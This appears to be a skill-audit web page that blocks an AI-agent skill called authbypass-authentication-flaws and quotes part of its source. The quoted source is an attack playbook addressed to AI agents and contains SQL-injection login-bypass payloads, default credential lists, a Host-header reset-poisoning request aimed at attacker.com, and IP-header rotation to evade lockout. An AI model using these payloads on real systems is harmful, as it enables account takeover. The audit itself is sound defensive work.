Agent skill · Audited from source
authbypass-authentication-flaws
skill · yaklang/hack-skillsMIT licenceAudited 31 Oct 2026 · source a6bc8e8fefb6
Is it safe? No — BLOCK, grade D (69/100). We read this skill's source at commit a6bc8e8fefb6 and found no filesystem, network or shell access and no hard-coded secrets. The audit raised 1 finding, 1 critical or high. What it does: Authentication bypass testing playbook. Use when assessing login flows, password reset logic, account recovery, MFA bypass, token predictability, brute-force resistance, and session boundary flaws.
Cite
Cite this page
ModelsAtlas. “authbypass-authentication-flaws (yaklang/hack-skills)”. Retrieved 31 Oct 2026. https://modelsatlas.com/skills/yaklang/authbypass-authentication-flaws
Blocked. The page stays public so you can check this skill if someone recommended it to you. The audit found 1 critical or high finding, starting with “Prompt injection” in SKILL.md:157. Do not install it without reading them.
Trust audit
Audit 0.4.1 · source read 31 Oct 2026
BLOCK means the audit found something that could harm you or your machine. Grade D is shared by 721 of 17,602 audited skills.
What the source does
- FilesystemNone observedNo reads or writes in the source
- NetworkNone observedNo outbound calls in the source
- ShellNone observedNo commands run in the source
- DependenciesPinnedNothing floats
- SecretsNone foundNo keys in source
Five audit layers
| Layer | What we check | Result | Findings |
|---|---|---|---|
L0 Provenance | Repo owner, licence, archive status, activity | PASS | 0 |
L1 Static source | Secrets, path traversal, supply chain, hidden code | NA | 0 |
L2 Instructions | Prompt injection, authority framing, hidden directives | FAIL | 1 |
L3 Inventory | The files and declarations match the source | PASS | 0 |
L4 Sandbox | Run in isolation and watch behaviour | SKIPPED why | 0 |
Gates applied: critical finding, no behavioural pass, undeclared transfer.
Findings (1)
CRITICALPrompt injectionprompt.transfer_instruction · SKILL.md:157
POST /forgot-password {"email": "[email protected]"}- Why
- an instruction to move sensitive data to an outside destination
- Fix
- remove; a skill never needs the user's secrets off the machine
Audit 0.4.1 · source sha a6bc8e8fefb6 · 31 Oct 2026Report an issue or request a re-scan
Provenance
Who published it, and what the verdict is pinned to
- Publisheryaklang GitHub organizationOwner of the repository this skill is read from
- Source folderyaklang/hack-skills/skills/authbypass-authentication-flawsThe exact folder we audited
- LicenceMITAs the repository states it
- Commit pinned for this verdicta6bc8e8fefb6A new audit runs when the source changes
- Repository statusNot archivedLast push 47 days ago
- Sandboxed runNot runSkills are read, not executed; layer L4 is skipped
What it tells the agent
Full source on GitHub ↗Its description: Authentication bypass testing playbook. Use when assessing login flows, password reset logic, account recovery, MFA bypass, token predictability, brute-force resistance, and session boundary flaws.
--- name: authbypass-authentication-flaws description: >- Authentication bypass testing playbook. Use when assessing login flows, password reset logic, account recovery, MFA bypass, token predictability, brute-force resistance, and session boundary flaws. --- # SKILL: Authentication Bypass — Expert Attack Playbook > **AI LOAD INSTRUCTION**: Expert authentication bypass techniques. Covers SQL injection-based login bypass, password reset flaws, token predictability, account enumeration, brute force bypass, and multi-factor auth bypass. Distinct from JWT/OAuth (covered in ../jwt-oauth-token-attacks/SKILL.md). Focus on the login mechanism itself. ## 0. AUTHORIZED CREDENTIAL TEST PLANNING After reducing routing entries, default credentials, username variants, port focus, and wordlist sizing are handled here in one place. ### Service-first tiny sets | Service Type | First Usernames | First Passwords | |---|---|---| | phpMyAdmin | `root`, `admin` | empty, `root`, `phpmyadmin`, `admin` | | FTP | `ftp`, `admin`, `test` | empty, `ftp`, `admin`, `123456` | | SSH | `root`, `admin`, service account names | `root`, `admin`, seasonal variants | | MySQL | `root`, `mysql` | empty, `root`, `mysql` | | Tomcat / Java admin | `tomcat`, `admin`, `manager` | `tomcat`, `admin`, `s3cret` | | WebLogic | `weblogic`, `admin` | `weblogic`, `welcome1`, `admin` | ### Username classes | Class | Examples | |---|---| | Generic admins | `admin`, `administrator`, `root`, `test`, `guest` | | Support / ops | `dev`, `ops`, `sysadmin`, `service`, `backup` | | Name-based | `firstname`, `lastname`, `f.lastname`, `first.last` | | Mail-derived | left side of corporate email formats | | Product-based | `tomcat`, `weblogic`, `jenkins`, `gitlab` | ### Wordlist sizing and port focus | Scenario | Preferred Size | Why | |---|---|---| | Default admin panel | 5 to 50 passwords | Defaults beat giant lists here | | Internal service with known product | vendor-specific small set | Better signal than generic lists | | Consumer login with weak controls | Top 20 or Top 100 | Fast verification | | Rate-limited login | tiny list + header/rotation strategy | Preserve attempts | | Offline hash cracking | large dictionaries | Online brute rules do not apply | Prioritize common ports and service surfaces: 80/443/8080/8443 admin panels, 22 SSH, 21 FTP, and 3306/5432/6379/27017 data or management services. --- ## 1. SQL INJECTION LOGIN BYPASS Classic but still found in legacy systems, custom ORMs, and raw query code: ```sql -- Basic bypass (admin user assumed first row): Username: admin'-- Password: anything → Query: SELECT * FROM users WHERE user='admin'--' AND pass='anything' -- Generic bypass (logs in as first user in DB): Username: ' OR '1'='1'-- Password: anything → Query: SELECT * FROM users WHERE user='' OR '1'='1'--' AND pass='anything' -- Blind: does this work? Username: ' OR 1=1-- Username: admin' OR 'a'='a Username: 1' OR '1'='1'/* Username: 1 or 1=1 ``` **Test each field separately** — only one field may be vulnerable. --- ## 2. PASSWORD RESET VULNERABILITIES ### Guessable / Predictable Reset Tokens Check if reset token is based on: ``` - Timestamp: token=1691234567890 (Unix time) - Sequential: token=1001, 1002, 1003 - MD5(email): echo -n "[email protected]" | md5sum - MD5(username+timestamp): reversible - Short token (4-6 digits): brute-forceable ``` **Test**: Request 3 consecutive reset emails, compare token patterns. ### Reset Token Not Expiring ``` 1. Request password reset → get token via email 2. Wait 48+ hours (token should expire) 3. Use old token → does it work? ``` ### Reset Token Reuse ``` 1. Request reset → get token T1 2. Complete reset with T1 3. Use T1 again → does it work again? ``` ### Host Header Injection in Reset Email When application generates reset URL using `Host` header: ```http POST /forgot-password HTTP/1.1 Host: attacker.com ← inject attacker's domain Content-Type: application/x-www-form-urlencoded [email protected] ``` → Reset email sent to victim with link pointing to `attacker.com/reset?token=VICTIM_TOKEN` → Victim clicks → token captured by attacker **Test**: Send password reset with modified `Host:`, check email for where reset link points. ### Password Reset Token in Referer ``` 1. Request reset → go to reset URL with token 2. Reset page loads third-party resources (analytics, fonts) → Referer header leaks: https://target.com/reset?token=TOKEN → Third-party server receives token in logs ``` ### Password Change Without Current Password ``` PUT /api/user/password {"new_password": "hacked"} → No current_password field required? → Combine with CSRF for account takeover ``` --- ## 3. ACCOUNT ENUMERATION Identifying valid usernames/emails enables targeted attacks: ### Error Message Difference ``` Invalid username → "User not found" Valid username, wrong pass → "Incorrect password" → Enumerate valid accounts ``` ### Response Time Difference ``` Invalid username → fast response (no DB lookup) Valid username → slightly slower (DB lookup + hash comparison) → Timing oracle ``` ### Password Reset Flow ``` POST /forgot-password {"email": "[email protected]"} → "If this email exists, we sent a reset link" (proper) vs. → "This email is not registered" (enumeration possible) ``` ### Registration Endpoint ``` POST /register {"email": "[email protected]"} → "Email already registered" → confirms account exists vs. → "Verification email sent" for both → no enumeration ``` --- ## 4. BRUTE FORCE BYPASS ### Lockout After N Attempts Then Resets ``` Lockout at 10 attempts → try 9 wrong passwords → lock Wait for reset period (usually 30 min or 1 hour) → Try 9 more → repeat → no permanent lockout ``` ### IP-Based Lockout Bypass ``` X-Forwarded-For: 1.1.1.1 ← change each request X-Real-IP: 2.2.2.2 Rotate through IPs in header ``` ### Username Cycling vs Password Cycling ``` Normal brute: try many passwords for one user → lock Reverse brute: try ONE password for ma
Excerpt, first 6,000 characters of SKILL.md, verbatim from the audited commit. It is text from someone else’s repository, quoted so you can judge it before your agent reads it.
Install
Pinned to the audited commit a6bc8e8
git clone https://github.com/yaklang/hack-skills git -C hack-skills checkout a6bc8e8fefb6
The author documents no install command, so this uses the repository directly. Our verdict covers commit a6bc8e8fefb6 only.
Works in
The author has not said which agents this skill supports, and we have not tested it in any.
Audit history
Every audit, every source change
- ✕BLOCK D 69 / 100
first audit · source
a6bc8e8fefb6
README badge
For maintainers · shows the latest audit
[](https://modelsatlas.com/skills/yaklang/authbypass-authentication-flaws/)
The badge shows our verdict and grade for this skill, and links back to this page. It changes when the audit does.
Similar skills
mattpocock/skills
A relentless interview to sharpen a plan or design.
affaan-m/everything-claude-code
Django testing strategies with pytest-django, TDD methodology, factory_boy, mocking, coverage, and testing Django REST Framework APIs. Use when writing Django or DRF tests with pytest-django, or driving a Django feature…
affaan-m/ECC
Docker and Docker Compose patterns for local development, container security, networking, volume strategies, and multi-service orchestration. Use when setting up containerized development environments or reviewing…
Add this badge to your README
[](https://modelsatlas.com/skills/yaklang/authbypass-authentication-flaws/)
<a href="https://modelsatlas.com/skills/yaklang/authbypass-authentication-flaws/"><img src="https://modelsatlas.com/skills/yaklang/authbypass-authentication-flaws/badge.svg" alt="ModelsAtlas: BLOCK D"></a>
Questions about authbypass-authentication-flaws
What does the authbypass-authentication-flaws skill do?
Is authbypass-authentication-flaws safe to install?
What can authbypass-authentication-flaws access on my machine?
How current is this page?
Sources
- github.com/yaklang/hack-skills/tree/main/skills/authbypass-authe — the audited source at commit a6bc8e8fefb6 and every finding aboveObserved · 31 Oct 2026
Spotted something wrong? Report a correction · Methodology
Keep going in your AI
Opens with this page as the source. We add nothing else to the prompt.
- What does the authbypass-authentication-flaws skill do?
- Is authbypass-authentication-flaws safe to install?
- What can authbypass-authentication-flaws access on my machine?